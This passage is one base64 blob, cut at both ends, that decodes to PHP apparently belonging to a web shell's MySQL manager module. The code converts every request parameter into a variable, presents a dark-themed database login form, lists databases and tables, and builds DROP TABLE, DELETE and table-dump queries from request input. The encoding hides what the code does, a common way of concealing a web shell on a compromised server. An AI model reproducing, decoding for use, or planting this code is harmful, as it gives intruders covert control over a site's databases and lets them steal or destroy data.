yRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQp9CmZ1bmN0aW9uIG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpIHsKICAkc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVzKCRkYikuImA7IjsKICBpZiAoJHNvY2spIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCwkc29jayk7fQogIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9Cn0KZnVuY3Rpb24gbXlzcWxfcXVlcnlfcGFyc2UoJHF1ZXJ5KSB7CiAgJHF1ZXJ5ID0gdHJpbSgkcXVlcnkpOwogICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsKICAkdHlwZXMgPSBhcnJheSgKIlNFTEVDVCI9PmFycmF5KDMsMSksCiJTSE9XIj0+YXJyYXkoMiwxKSwKIkRFTEVURSI9PmFycmF5KDEpLAoiRFJPUCI9PmFycmF5KDEpCiAgKTsKICAkcmVzdWx0ID0gYXJyYXkoKTsKICAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOwogIGlmIChpc19hcnJheSgkdHlwZXNbJG9wXSkpIHsKJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOwokcmVzdWx0WyJxdWVyeSJdICA9ICRxdWVyeTsKaWYgKCR0eXBlc1skb3BdID09IDIpIHsKICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7CmlmIChzdHJ0b3VwcGVyKCR2KSA9PSAiTElNSVQiKSB7CiAgJHJlc3VsdFsibGltaXQiXSA9ICRhcnJbJGsrMV07CiAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOwogIGlmIChjb3VudCgkcmVzdWx0WyJsaW1pdCJdKSA9PSAxKSB7JHJlc3VsdFsibGltaXQiXSA9IGFycmF5KDAsJHJlc3VsdFsibGltaXQiXVswXSk7fQogIHVuc2V0KCRhcnJbJGtdLCRhcnJbJGsrMV0pOwp9CiAgfQp9CiAgfQogIGVsc2UgeyByZXR1cm4gRkFMU0U7IH0KfQpmdW5jdGlvbiBkaXNwX2Vycm9yKCRtc2cpIHsgZWNobyAiPGRpdiBjbGFzcz1lcnJtc2c+JG1zZzwvZGl2PlxuIjsgfQpmdW5jdGlvbiBodG1sX3N0eWxlKCkgewokc3R5bGUgPSAnIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+IGEgeyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfSBhOmhvdmVyIHsgY29sb3I6ICMwMGZmMDA7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7IH0gaW5wdXRbdHlwZT0idGV4dCJdLCBpbnB1dFt0eXBlPSJwYXNzd29yZCJdLCBzZWxlY3R7IGJhY2tncm91bmQ6IzExMTExMTsgYm9yZGVyOjA7IHBhZGRpbmc6MnB4OyBib3JkZXI6MXB4IHNvbGlkICM0NDQ0NDQ7IH0gaW5wdXRbdHlwZT0ic3VibWl0Il17IGJhY2tncm91bmQ6IzExMTExMTsgY29sb3I6I2ZmZmZmZjsgbWFyZ2luOjAgNHB4OyBib3JkZXI6MXB4IHNvbGlkICM0NDQ0NDQ7fSBpbnB1dFt0eXBlPSJ0ZXh0Il06aG92ZXIsIGlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVyLCBpbnB1dFt0eXBlPSJwYXNzd29yZCJdOmhvdmVyLCBzZWxlY3Q6aG92ZXJ7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7Ym9yZGVyLXRvcDoxcHggc29saWQgIzAwZmYwMDt9IC50YWIgeyB3aWR0aDoxMDAlOyB9IHRoeyBiYWNrZ3JvdW5kOiMxOTE5MTk7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7IGZvbnQtd2VpZ2h0Om5vcm1hbDsgfSAudHViIHsgd2lkdGg6MTAwJTsgfSAgLnR1YiB0aHsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzAwZmYwMDsgcGFkZGluZzozcHg7fSAudHViIHRyOmhvdmVyeyBiYWNrZ3JvdW5kOiMwMDY0MDA7IH0gLnR1YiB0ZHsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMzsgcGFkZGluZy1sZWZ0OjNweDsgfSAjbWFpbmluZm8geyBwYWRkaW5nOjVweDsgbWFyZ2luLXRvcDoxMHB4OyBtYXJnaW4tbGVmdDoycHg7IG1hcmdpbi1yaWdodDoycHg7IGJhY2tncm91bmQ6IzE5MTkxOTsgfSAjbWFpbmluZm8gYXsgY29sb3I6IzAwZmYwMDsgfSB0ZXh0YXJlYSB7IGJhY2tncm91bmQ6IzAwMDAwMDsgYm9yZGVyOjFweCBzb2xpZCAjNDQ0NDQ0O30gdGV4dGFyZWE6aG92ZXIgeyBib3JkZXI6MXB4IHNvbGlkICMwMGZmMDA7fSA8L3N0eWxlPjxjZW50ZXI+JzsKcmV0dXJuICRzdHlsZTsKfQokYXV0b19zdXJsID0gVFJVRTsKZm9yZWFjaCAoJF9SRVFVRVNUIGFzICRrID0+ICR2KSB7CiAgaWYgKCFpc3NldCgkJGspKSB7ICQkayA9ICR2OyB9Cn0KaWYgKCRhdXRvX3N1cmwpIHsKICAkaW5jbHVkZSA9ICImIjsKICBmb3JlYWNoIChleHBsb2RlKCImIixnZXRlbnYoIlFVRVJZX1NUUklORyIpKSBhcyAkdikgewokdj0gZXhwbG9kZSgiPSIsJHYpOwokbmFtZT0gdXJsZGVjb2RlKCR2WzBdKTsKJHZhbHVlPSBAdXJsZGVjb2RlKCR2WzFdKTsKJG5lZWRsZXMgPSBhcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwic3NsOi8vIiwiZnRwOi8vIiwiXFxcXCIpOwpmb3JlYWNoICgkbmVlZGxlcyBhcyAkbmVlZGxlKSB7CiAgaWYgKHN0cnBvcygkdmFsdWUsJG5lZWRsZSkgPT09IDApIHsKJGluY2x1ZGVzdHIgLj0gdXJsZW5jb2RlKCRuYW1lKS4iPSIudXJsZW5jb2RlKCR2YWx1ZSkuIiYiOwogIH0gfSB9IH0KaWYgKGVtcHR5KCRzdXJsKSkgeyAkc3VybCA9IGh0bWxzcGVjaWFsY2hhcnMoIj8iLkAkaW5jbHVkZXN0cik7IH0KaWYgKCFpc3NldCgkeCkpIHsgJHggPSAic3FsIjsgfQogIGlmICgkeCA9PSAic3FsIikgewogIGZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSBhcyAkdikgewppZiAoIWVtcHR5KCRfR0VUWyR2XSkpIHsgJCR2ID0gJF9HRVRbJHZdOyB9CmlmICghZW1wdHkoJF9QT1NUWyR2XSkpIHsgJCR2ID0gJF9QT1NUWyR2XTsgfQogIH0KICBpZiAoJHNvcnRfc2F2ZSkgewppZiAoIWVtcHR5KCRzb3J0KSkgeyBzZXRjb29raWUoInNvcnQiLCRzb3J0KTsgfQppZiAoIWVtcHR5KCRzcWxfc29ydCkpIHsgc2V0Y29va2llKCJzcWxfc29ydCIsJHNxbF9zb3J0KTsgfQogIH0KICBpZiAoIWlzc2V0KCRzb3J0KSkgeyAkc29ydCA9ICRzb3J0X2RlZmF1bHQ7IH0KICAkc29ydCA9IGh0bWxzcGVjaWFsY2hhcnMoJHNvcnQpOwogICRzb3J0WzFdID0gc3RydG9sb3dlcigkc29ydFsxXSk7CiAgZWNobyBodG1sX3N0eWxlKCk7CmVjaG8gIjxkaXYgaWQ9J21haW5pbmZvJz4iOwogIGlmICgkeCA9PSAic3FsIikgewogICRzcWxfc3VybCA9ICRzdXJsLiJ4PXNxbCI7CiAgaWYgKCFpc3NldCgkc3FsX2xvZ2luKSkgeyAkc3FsX2xvZ2luID0gIiI7IH0KICBpZiAoIWlzc2V0KCRzcWxfcGFzc3dkKSkgeyAkc3FsX3Bhc3N3ZCA9ICIiOyB9CiAgaWYgKCFpc3NldCgkc3FsX3NlcnZlcikpIHsgJHNxbF9zZXJ2ZXIgPSAiIjsgfQogIGlmICghaXNzZXQoJHNxbF9wb3J0KSkgeyAkc3FsX3BvcnQgPSAiIjsgfQogIGlmICghaXNzZXQoJHNxbF90YmwpKSB7ICRzcWxfdGJsID0gIiI7IH0KICBpZiAoIWlzc2V0KCRzcWxfeCkpIHsgJHNxbF94ID0gIiI7IH0KICBpZiAoIWlzc2V0KCRzcWxfdGJsX3gpKSB7ICRzcWxfdGJsX3ggPSAiIjsgfQogIGlmICghaXNzZXQoJHNxbF9vcmRlcikpIHsgJHNxbF9vcmRlciA9ICIiOyB9CiAgaWYgKCFpc3NldCgkc3FsX3gpKSB7ICRzcWxfeCA9ICIiOyB9CiAgaWYgKCFpc3NldCgkc3FsX2dldGZpbGUpKSB7ICRzcWxfZ2V0ZmlsZSA9ICIiOyB9CiAgaWYgKEAkc3FsX2xvZ2luKSAgeyAkc3FsX3N1cmwgLj0gIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyB9CiAgaWYgKEAkc3FsX3Bhc3N3ZCkgeyAkc3FsX3N1cmwgLj0gIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7IH0KICBpZiAoQCRzcWxfc2VydmVyKSB7ICRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgfQogIGlmIChAJHNxbF9wb3J0KXsgJHNxbF9zdXJsIC49ICImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7IH0KICBpZiAoQCRzcWxfZGIpIHsgJHNxbF9zdXJsIC49ICImc3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgfQogICRzcWxfc3VybCAuPSAiJiI7CiAgZWNobyAiIjsKICBpZiAoQCRzcWxfc2VydmVyKSB7CiRzcWxfc29jayA9IEBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsKJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoJHNxbF9zb2NrKTsKQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7CmlmIChAJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCkgewogICRzcWxfcXVlcnlfcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spOwogICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCRzcWxfc29jayk7Cn0KICB9CiAgZWxzZSB7ICRzcWxfc29jayA9IEZBTFNFOyB9CiAgaWYgKCEkc3FsX3NvY2spIHsKaWYgKCFAJHNxbF9zZXJ2ZXIpIHsgZWNobyAiPGJsaW5rPjxiPjxmb250IHN0eWxlPSBjb2xvcjojZmYwMDAwPk5vIENvbm5lY3Rpb24gISAhICE8L2ZvbnQ+PC9iPjwvYmxpbms+IjsgfQplbHNlIHsgZGlzcF9lcnJvcigiRVJST1I6ICIuJGVycik7IH0KICB9CiAgZWxzZSB7CiNTUUwgUXVpY2tsYXVuY2gKJHNxbHF1aWNrbGF1bmNoPSBhcnJheSgpOwokc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJJbmRleCIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJiIpOwokc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJRdWVyeSIsJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKSk7CiRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlciBzdGF0dXMiLCRzdXJsLiJ4PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfeD1zZXJ2ZXJzdGF0dXMiKTsKJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyIHZhcmlhYmxlcyIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF94PXNlcnZlcnZhcnMiKTsKJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUHJvY2Vzc2VzIiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX3g9cHJvY2Vzc2VzIik7CiRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkxvZ291dCIsJHN1cmwuIng9c3FsIik7CmVjaG8gIk15U1FMICIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiIpIFNlcnZlcjogIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCIpPGJyPiI7CmlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4gMCkgewogIGZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7CmVjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiOwogIH0KICB9CiAgfQplY2hvICI8L2Rpdj4iOwplY2hvICI8Y2VudGVyPjx0YWJsZSBjbGFzcz0ndGFiJz48dHI+IjsKICBpZiAoISRzcWxfc29jaykgewogIGVjaG8gICc8dGQ+Cjxmb3JtIG5hbWU9ImZfc3FsIiBhY3Rpb249IicuJHN1cmwuJ3g9c3FsIiBtZXRob2Q9IlBPU1QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj4KPHRhYmxlIGNsYXNzPSJ0YWJuZXQiIHN0eWxlPSJwYWRkaW5nOjFweDsiPgo8dHI+PHRoIGNvbHNwYW49IjIiPjxiPk15U1FMIE1hbmFnZXI8L2I+PC90aD48L3RyPgo8dHI+PHRkPkhvc3Q8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3NlcnZlciIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjI0OXB4O2JhY2tncm91bmQ6YmxhY2siIHZhbHVlPSJsb2NhbGhvc3QiPjwvdGQ+PC90cj4KPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbG9naW4iIGNsYXNzPSJpbnB1dHoiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDoyNDlweDtiYWNrZ3JvdW5kOmJsYWNrIj48L3RkPjwvdHI+Cjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InNxbF9wYXNzd2QiIGNsYXNzPSJpbnB1dHoiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDoyNDlweDtiYWNrZ3JvdW5kOmJsYWNrOyI+PC90ZD48L3RyPgo8dHI+PHRkPkRhdGFiYXNlPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9kYiIgdmFsdWU9IiIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjI0OXB4O2JhY2tncm91bmQ6YmxhY2siPjwvdGQ+PC90cj4KPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9wb3J0IiAgY2xhc3M9ImlucHV0eiIgdmFsdWU9IjMzMDYiIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrOyIgc2l6ZT0iNiI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiIHN0eWxlPWNvbG9yOiRjb2xvciB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPgo8L3RhYmxlPgo8L2Zvcm0+JzsKICB9CiAgZWxzZSB7CiAgZWNobyAgJzx0ZCB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgIzMzMzMzMzsiPgo8Y2VudGVyPgo8YSBocmVmPSInLiRzcWxfc3VybC4nIj48YiBzdHlsZT0iY29sb3I6IzAwZmYwMDsiPkhPTUU8L2I+PC9hPgo8aHIgc2l6ZT0iMSIgbm9zaGFkZT4nOwogICRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOwogIGlmICghJHJlc3VsdCkgeyBlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTsgfQogIGVsc2UgewogIGVjaG8gICc8Zm9ybSBhY3Rpb249IicuJHN1cmwuJ3g9c3FsIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiciPgo8c2VsZWN0IG5hbWU9InNxbF9kYiIgb25jaGFuZ2U9InRoaXMuZm9ybS5zdWJtaXQoKSIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nOwokYyA9IDA7CiRkYnMgPSAiIjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpIHsKICAkZGJzIC49ICJcdFx0PG9wdGlvbiB2YWx1ZT1cIiIuJHJvd1swXS4iXCIiOwogIGlmIChAJHNxbF9kYiA9PSAkcm93WzBdKSB7ICRkYnMgLj0gIiBzZWxlY3RlZCI7IH0KICAkZGJzIC49ICI+Ii4kcm93WzBdLiI8L29wdGlvbj5cbiI7CiAgJGMrKzsKfQplY2hvICJcdFx0PG9wdGlvbiB2YWx1ZT1cIlwiPkRhdGFiYXNlcyAoIi4kYy4iKTwvb3B0aW9uPlxuIjsKZWNobyAkZGJzOwogIH0KZWNobyAnPC9zZWxlY3Q+CjxociBzaXplPSIxIiBub3NoYWRlPgo8L2Zvcm0+CjwvY2VudGVyPic7CmlmIChpc3NldCgkc3FsX2RiKSkgewogICRyZXN1bHQgPSBteXNxbF9saXN0X3RhYmxlcygkc3FsX2RiKTsKICBpZiAoISRyZXN1bHQpIHsgCiRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOwokbnVtID0gbXlzcWxfbnVtX3Jvd3MoJHJlc3VsdCk7CmZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CiRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRyZXN1bHQsICRpICk7CmVjaG8gIjx0YWJsZSBjbGFzcz0ndGFiJz48dGQgc3R5bGU9J2JhY2tncm91bmQ6IzNGM0YzRjtib3JkZXI6MXB4IHNvbGlkICMyMDIwMjA7Ym9yZGVyLXRvcDogMXB4IHNvbGlkICM1MDUwNTA7Ym9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjNTA1MDUwOyc+PGI+KyA8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0iLiRkYm5hbWUuIlwiPiRkYm5hbWU8L2E+PC9iPjwvdGQ+PC90YWJsZT4iOyB9IH0KICBlbHNlIHsKZWNobyAiXHQ8dGFibGUgY2xhc3M9J3R1Yic+PHRoPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4iJlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iPC9iPjwvYT48L3RoPjwvdGFibGU+PGJyPlxuIjsKJGMgPSAwOwp3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CiAgJGNvdW50ID0gbXlzcWxfcXVlcnkgKCJTRUxFQ1QgQ09VTlQoKikgRlJPTSAiLiRyb3dbMF0pOwogICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOwogIGVjaG8gIlx0PGI+KyA8YSBzdHlsZT0nY29sb3I6IzAwZmYwMDsnIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iJnNxbF90Ymw9Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIjwvYT48L2I+ICgiLiRjb3VudF9yb3dbMF0uIik8L2JyPjwvYj5cbiI7CiAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsKICAkYysrOwp9CmlmICghJGMpIHsgZWNobyAiTm8gdGFibGVzIGZvdW5kIGluIGRhdGFiYXNlIjsgfQogIH0KfQplY2hvICc8L3RkPic7CmVjaG8gJzx0ZCBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzOyI+JzsKJGRpcGxheSA9IFRSVUU7CmlmIChAJHNxbF9kYikgewogIGlmICghaXNfbnVtZXJpYygkYykpIHsgJGMgPSAwOyB9CiAgaWYgKCRjID09IDApIHsgJGMgPSAibm8iOyB9CiAgZWNobyAiXHQ8Y2VudGVyPjxiPlRoZXJlIGFyZSAiLiRjLiIgdGFibGUocykgaW4gZGF0YWJhc2U6ICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iIjsKICBpZiAoY291bnQoQCRkYnF1aWNrbGF1bmNoKSA+IDApIHsKZm9yZWFjaCgkZGJzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkgewogIGVjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiOwp9CiAgfQogIGVjaG8gIjwvYj48L2NlbnRlcj5cbiI7CiAgJHhzID0gYXJyYXkoIiIsImR1bXAiKTsKICBpZiAoJHNxbF94ID09ICJ0Ymxkcm9wIikgeyRzcWxfcXVlcnkgPSAiRFJPUCBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30KICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsZW1wdHkiKSB7JHNxbF9xdWVyeSA9ICIiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgRlJPTSBgIi4kdi4iYCBcbiI7fSAkc3FsX3ggPSAicXVlcnkiO30KICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsZHVtcCIpIHtpZiAoY291bnQoJGJveHRibCkgPiAwKSB7JGRtcHRibHMgPSAkYm94dGJsO30gZWxzZWlmKCR0aGlzdGJsKSB7JGRtcHRibHMgPSBhcnJheSgkc3FsX3RibCk7fSAkc3FsX3ggPSAiZHVtcCI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxjaGVjayIpIHskc3FsX3F1ZXJ5ID0gIkNIRUNLIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxvcHRpbWl6ZSIpIHskc3FsX3F1ZXJ5ID0gIk9QVElNSVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxyZXBhaXIiKSB7JHNxbF9xdWVyeSA9ICJSRVBBSVIgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9CiAgZWxzZWlmICgkc3FsX3ggPT0gInRibGFuYWx5emUiKSB7JHNxbF9xdWVyeSA9ICJBTkFMWVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF94ID09ICJkZWxldGVyb3ciKSB7JHNxbF9xdWVyeSA9ICIiOyBpZiAoIWVtcHR5KCRib3hyb3dfYWxsKSkgeyRzcWxfcXVlcnkgPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYDsiO30gZWxzZSB7Zm9yZWFjaCgkYm94cm93IGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHYuIiBMSU1JVCAxO1xuIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKTt9ICRzcWxfeCA9ICJxdWVyeSI7fQogIGVsc2VpZiAoJHNxbF90YmxfeCA9PSAiaW5zZXJ0IikgewppZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDEpIHsKICAka2V5cyA9ICIiOwogICRha2V5cyA9IGFycmF5X2tleXMoJHNxbF90YmxfaW5zZXJ0KTsKICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRkc2xhc2hlcygkdikuImAsICI7fQogIGlmICghZW1wdHkoJGtleXMpKSB7JGtleXMgPSBzdWJzdHIoJGtleXMsMCxzdHJsZW4oJGtleXMpLTIpO30KICAkdmFsdWVzID0gIiI7CiAgJGkgPSAwOwogIGZvcmVhY2ggKGFycmF5X3ZhbHVlcygkc3FsX3RibF9pbnNlcnQpIGFzICR2KSB7aWYgKCRmdW5jdCA9ICRzcWxfdGJsX2luc2VydF9mdW5jdHNbJGFrZXlzWyRpXV0pIHskdmFsdWVzIC49ICRmdW5jdC4iICgiO30gJHZhbHVlcyAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOyBpZiAoJGZ1bmN0KSB7JHZhbHVlcyAuPSAiKSI7fSAkdmFsdWVzIC49ICIsICI7ICRpKys7fQogIGlmICghZW1wdHkoJHZhbHVlcykpIHskdmFsdWVzID0gc3Vic3RyKCR2YWx1ZXMsMCxzdHJsZW4oJHZhbHVlcyktMik7fQogICRzcWxfcXVlcnkgPSAi